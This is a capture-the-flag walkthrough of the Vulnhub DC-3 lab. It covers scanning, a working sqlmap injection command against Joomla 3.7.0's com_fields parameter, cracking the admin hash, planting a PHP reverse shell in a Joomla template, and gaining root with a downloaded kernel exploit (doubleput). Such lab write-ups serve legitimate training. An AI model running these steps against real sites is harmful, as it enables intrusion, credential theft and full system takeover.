- Published on
Vulnhub - DC 3
We are going to pwn DC 3 by DCAU7 from Vulnhub
Description
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward. For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily). If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.
Download Link: https://www.vulnhub.com/entry/dc-3,312/
Lets Begin with our Initial Scan
Nmap Scan Results
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 08:00:27:BE:4C:95 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Looks like only HTTP port is open so lets start our Gobuster
Gobuster Result
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.0.2.5
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/11/25 19:06:03 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/administrator (Status: 301)
/.htpasswd (Status: 403)
/cache (Status: 301)
/bin (Status: 301)
/components (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/index.php (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
===============================================================
2019/11/25 19:06:05 Finished
===============================================================
It is JoomlaCMS so i tried using droopescan to find any vulnerable plugins or versions 
Finding the version is vulnerable
We can also use Metasploit to find Joomla's Version 
Joomla Version 3.7.0
I found there is an SQL INjection for this version.
SQL Injection
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
It shows 5 Databases so lets enumerate the database by using the same command.br/ 
-D = To denote which database
It looks like #_users is interesting
-T = Used to denote which table
-C = What are the things we need from the table
--dump = To display all
We got a hash for admin so lets try it with john
It Shows the password is snoopy
Lets Try login
Getting Shell
We need to get reverse shell since there is no other ports running we need to get reverse shell from the webpage
Templates -> Templates -> Beez3 Details and Files -> Index.php I added my PHP Reverse Shell.
Once added I clicked on Template Preview… and I got the shell 
Privilege Escalation
It looks like Kernel is outdatedbr/ 
Found there is an exploit from searchsploit
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
I uploaded the code into the machine and did according to the instruction.
First ./compile.sh And ./doubleput
Flag
Got ROOT!!